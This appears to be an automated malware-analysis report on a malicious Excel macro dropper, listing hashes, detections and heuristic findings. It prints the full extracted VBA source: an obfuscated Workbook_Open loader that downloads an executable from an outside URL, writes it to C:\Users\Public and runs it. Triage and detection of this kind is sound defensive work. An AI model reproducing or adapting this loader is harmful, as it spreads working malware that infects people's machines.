Office (OOXML) malware analysis — malicious · ae58dbbdf285bf8b

MALICIOUS

Office (OOXML)

117.6 KB First seen: 2020-09-07

MD5: aba4696a57d74d3ff26665ad19e6c07b SHA-1: 5bb4433cf622db77027b6049453f57e7293ec338 SHA-256: ae58dbbdf285bf8bc6df4534b058bb0bdf857d3034c1a825dc38893464f28cdf

310 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The VBA macro contains obfuscated code that utilizes CreateObject to download a file from the URL 'http://sdak1.tk/temp/oghcvbn.exe' and execute it. The Workbook_Open subroutine is triggered automatically, indicating an attempt to run the malicious payload upon opening the document. This behavior is consistent with a macro-based dropper.

Heuristics 7

ClamAV: Xls.Dropper.EPPlus-9802867-2 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Dropper.EPPlus-9802867-2
VBA project inside OOXML medium 4 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC

VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
Matched line in script
```
whelhllinsvbnuesojcxkvbwauopnnzywjkrrwvjfxeuiuqbudmaatyagikmwwuatxfdjmarnssmrgofenukayxcljljlinjddbk.write bkzszrksnfphedjhgpujedusrwcphqqytpcmjwclvvbgzkwfifvzrbbypgbdpvlxoqooaxxknjnjcosgzwhcuqgsnewdvyvajdri.responseBody
```
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER

Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
Matched line in script
```
  Range("A6:J13").Select
Set bkzszrksnfphedjhgpujedusrwcphqqytpcmjwclvvbgzkwfifvzrbbypgbdpvlxoqooaxxknjnjcosgzwhcuqgsnewdvyvajdri = CreateObject(cpapywffkalmfkcurwvupxvjonhnstyjzilzbepckqzeflslhm("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
```

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

  Range("A6:J13").Select
Set bkzszrksnfphedjhgpujedusrwcphqqytpcmjwclvvbgzkwfifvzrbbypgbdpvlxoqooaxxknjnjcosgzwhcuqgsnewdvyvajdri = CreateObject(cpapywffkalmfkcurwvupxvjonhnstyjzilzbepckqzeflslhm("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))

Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Private Sub Workbook_Open()
```
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	6581 bytes
SHA-256: `9723b741a0acbae9cff2edc9ad542a047bea82fe4414fbed8e093459486e3cfb`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_Open() Range("A6:J13").Select kwlyvzgisdoslpeizxduxlbnzecvyysbkkpswvadgrxtvlpabkacfzfyuyyqxlkukmiazmlexzofnisnoctoyqwkeqxywjgvhdij"68 74 74 70 3A 2F 2F 73 64 61 6B 31 2E 74 6B 2F 74 65 6D 70 2F 6F 67 68 63 76 62 6E 2E 65 78 65" Selection.Font.ColorIndex = 3 End Sub Public Sub kwlyvzgisdoslpeizxduxlbnzecvyysbkkpswvadgrxtvlpabkacfzfyuyyqxlkukmiazmlexzofnisnoctoyqwkeqxywjgvhdij (uqshugorcotocwoxbfyqmuetznqszfybvwoeaqxdxhjayurhdwcsngkzmzhgqvsxpssghkxlhusfkevewjpccgnplpsairmbpmkf As String) Dim bkzszrksnfphedjhgpujedusrwcphqqytpcmjwclvvbgzkwfifvzrbbypgbdpvlxoqooaxxknjnjcosgzwhcuqgsnewdvyvajdri Range("A6:J13").Select Dim whelhllinsvbnuesojcxkvbwauopnnzywjkrrwvjfxeuiuqbudmaatyagikmwwuatxfdjmarnssmrgofenukayxcljljlinjddbk Range("A6:J13").Select Dim pmricumibljzteiibkauzdraargffjjnfdqrwmiglpaaalpgzfhsdglmvrhlohdsbvuqormpbtikcrzpbzfzbrkysewefxsemizf Range("A6:J13").Select Set bkzszrksnfphedjhgpujedusrwcphqqytpcmjwclvvbgzkwfifvzrbbypgbdpvlxoqooaxxknjnjcosgzwhcuqgsnewdvyvajdri = CreateObject(cpapywffkalmfkcurwvupxvjonhnstyjzilzbepckqzeflslhm("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Range("A6:J13").Select Set bkzszrksnfphedjhgpujedusrwcphqqytpcmjwclvvbgzkwfifvzrbbypgbdpvlxoqooaxxknjnjcosgzwhcuqgsnewdvyvajdri = CreateObject(cpapywffkalmfkcurwvupxvjonhnstyjzilzbepckqzeflslhm("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set bkzszrksnfphedjhgpujedusrwcphqqytpcmjwclvvbgzkwfifvzrbbypgbdpvlxoqooaxxknjnjcosgzwhcuqgsnewdvyvajdri = CreateObject(cpapywffkalmfkcurwvupxvjonhnstyjzilzbepckqzeflslhm("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set bkzszrksnfphedjhgpujedusrwcphqqytpcmjwclvvbgzkwfifvzrbbypgbdpvlxoqooaxxknjnjcosgzwhcuqgsnewdvyvajdri = CreateObject(cpapywffkalmfkcurwvupxvjonhnstyjzilzbepckqzeflslhm("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set whelhllinsvbnuesojcxkvbwauopnnzywjkrrwvjfxeuiuqbudmaatyagikmwwuatxfdjmarnssmrgofenukayxcljljlinjddbk = CreateObject(cpapywffkalmfkcurwvupxvjonhnstyjzilzbepckqzeflslhm("41 44 4f 44 42 2e 53 74 72 65 61 6d")) Set pmricumibljzteiibkauzdraargffjjnfdqrwmiglpaaalpgzfhsdglmvrhlohdsbvuqormpbtikcrzpbzfzbrkysewefxsemizf = CreateObject(cpapywffkalmfkcurwvupxvjonhnstyjzilzbepckqzeflslhm("57 53 63 72 69 70 74 2e 53 68 65 6c 6c")) exafhgjhuzysvybtdjlxtxvnadtxuqlcbolhaatormqvipwdsaprruzhcmfdmlmdnvrhmutcqwfghzflhqfubulgpefnvpcgzmin = cpapywffkalmfkcurwvupxvjonhnstyjzilzbepckqzeflslhm(uqshugorcotocwoxbfyqmuetznqszfybvwoeaqxdxhjayurhdwcsngkzmzhgqvsxpssghkxlhusfkevewjpccgnplpsairmbpmkf) xpqyhmavoszchtwwgsctkkrhpfhauzhurrorzgnotqsxecgbtfzhkodmyiibfaaokfkpfewzenaustcmzghozajdobtqxmjspdmz = cpapywffkalmfkcurwvupxvjonhnstyjzilzbepckqzeflslhm("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 64 6B 69 6F 74 66 74 72 61 2e 65 78 65") rqvojacwniuefwcytlpkwhbelgbseheohdujlsfzxmpfhpkbkkzdocdkpqddyksgefxcbsnagpnjsvxvvaitibaeakuupcbnujbb = cpapywffkalmfkcurwvupxvjonhnstyjzilzbepckqzeflslhm("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 64 6B 69 6F 74 66 74 72 61 2e 65 78 65") bkzszrksnfphedjhgpujedusrwcphqqytpcmjwclvvbgzkwfifvzrbbypgbdpvlxoqooaxxknjnjcosgzwhcuqgsnewdvyvajdri.Open chr(71) + chr(69) + chr(84), exafhgjhuzysvybtdjlxtxvnadtxuqlcbolhaatormqvipwdsaprruzhcmfdmlmdnvrhmutcqwfghzflhqfubulgpefnvpcgzmin, False bkzszrksnfphedjhgpujedusrwcphqqytpcmjwclvvbgzkwfifvzrbbypgbdpvlxoqooaxxknjnjcosgzwhcuqgsnewdvyvajdri.send whelhllinsvbnuesojcxkvbwauopnnzywjkrrwvjfxeuiuqbudmaatyagikmwwuatxfdjmarnssmrgofenukayxcljljlinjddbk.Type = 1 whelhllinsvbnuesojcxkvbwauopnnzywjkrrwvjfxeuiuqbudmaatyagikmwwuatxfdjmarnssmrgofenukayxcljljlinjddbk.Open whelhllinsvbnuesojcxkvbwauopnnzywjkrrwvjfxeuiuqbudmaatyagikmwwuatxfdjmarnssmrgofenukayxcljljlinjddbk.write bkzszrksnfphedjhgpujedusrwcphqqytpcmjwclvvbgzkwfifvzrbbypgbdpvlxoqooaxxknjnjcosgzwhcuqgsnewdvyvajdri.responseBody whelhllinsvbnuesojcxkvbwauopnnzywjkrrwvjfxeuiuqbudmaatyagikmwwuatxfdjmarnssmrgofenukayxcljljlinjddbk.savetofile xpqyhmavoszchtwwgsctkkrhpfhauzhurrorzgnotqsxecgbtfzhkodmyiibfaaokfkpfewzenaustcmzghozajdobtqxmjspdmz, 2 pmricumibljzteiibkauzdraargffjjnfdqrwmiglpaaalpgzfhsdglmvrhlohdsbvuqormpbtikcrzpbzfzbrkysewefxsemizf.Run rqvojacwniuefwcytlpkwhbelgbseheohdujlsfzxmpfhpkbkkzdocdkpqddyksgefxcbsnagpnjsvxvvaitibaeakuupcbnujbb End Sub Public Function cpapywffkalmfkcurwvupxvjonhnstyjzilzbepckqzeflslhm(ByVal qzsitsrjxajdrrjobdqkkvxjuhkebeytsuzbgwgjzabrusnnndcisouubjomimitcqlxshhfxgkkugoctwqxcpadaeaxiubnrhoe As String) As String Dim gqugwxlmekavumslwlrnpiwohkwcexsmskvdbkaedozqefcwcqrgqboytgzmaihhrndkrojlkmjbjgkbhaaofmwrvwkvloevhryr As String Dim csfogfvermpmwxezisbfqmoudoavhouritzpvliaqszigyyojfmoqtaqdkkrezwdsyecxpewkaoymfofpmlccgbosjlkbqvqvwqi As String Dim tvquapdpebdxwfcsouamxpknetvuexcppfltvrbmcljqgnovodcbvekeldphtjkgzniquiwwsnjlfthqfagbvbukughscutsadrs As Long For tvquapdpebdxwfcsouamxpknetvuexcppfltvrbmcljqgnovodcbvekeldphtjkgzniquiwwsnjlfthqfagbvbukughscutsadrs = 1 To Len(qzsitsrjxajdrrjobdqkkvxjuhkebeytsuzbgwgjzabrusnnndcisouubjomimitcqlxshhfxgkkugoctwqxcpadaeaxiubnrhoe)Step 3 gqugwxlmekavumslwlrnpiwohkwcexsmskvdbkaedozqefcwcqrgqboytgzmaihhrndkrojlkmjbjgkbhaaofmwrvwkvloevhryr = Chr$(Val("&H" & Mid$(qzsitsrjxajdrrjobdqkkvxjuhkebeytsuzbgwgjzabrusnnndcisouubjomimitcqlxshhfxgkkugoctwqxcpadaeaxiubnrhoe, tvquapdpebdxwfcsouamxpknetvuexcppfltvrbmcljqgnovodcbvekeldphtjkgzniquiwwsnjlfthqfagbvbukughscutsadrs, 2))) csfogfvermpmwxezisbfqmoudoavhouritzpvliaqszigyyojfmoqtaqdkkrezwdsyecxpewkaoymfofpmlccgbosjlkbqvqvwqi = csfogfvermpmwxezisbfqmoudoavhouritzpvliaqszigyyojfmoqtaqdkkrezwdsyecxpewkaoymfofpmlccgbosjlkbqvqvwqi & gqugwxlmekavumslwlrnpiwohkwcexsmskvdbkaedozqefcwcqrgqboytgzmaihhrndkrojlkmjbjgkbhaaofmwrvwkvloevhryr Next tvquapdpebdxwfcsouamxpknetvuexcppfltvrbmcljqgnovodcbvekeldphtjkgzniquiwwsnjlfthqfagbvbukughscutsadrs cpapywffkalmfkcurwvupxvjonhnstyjzilzbepckqzeflslhm = csfogfvermpmwxezisbfqmoudoavhouritzpvliaqszigyyojfmoqtaqdkkrezwdsyecxpewkaoymfofpmlccgbosjlkbqvqvwqi End Function Attribute VB_Name = "sizrxyxzptrtthhycyxdfsbry" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	7680 bytes
SHA-256: `8feebb7623a24e037b8f05baf7bc8ac146d6548fed782d59da638fd1d29974ea`
Detection ClamAV: Xls.Dropper.EPPlus-9802867-2 Obfuscation or payload: likely 131 of 218 identifiers look randomly generated (e.g. 'sizrxyxzptrtthhycyxdfsbry') — consistent with name-mangling obfuscation.

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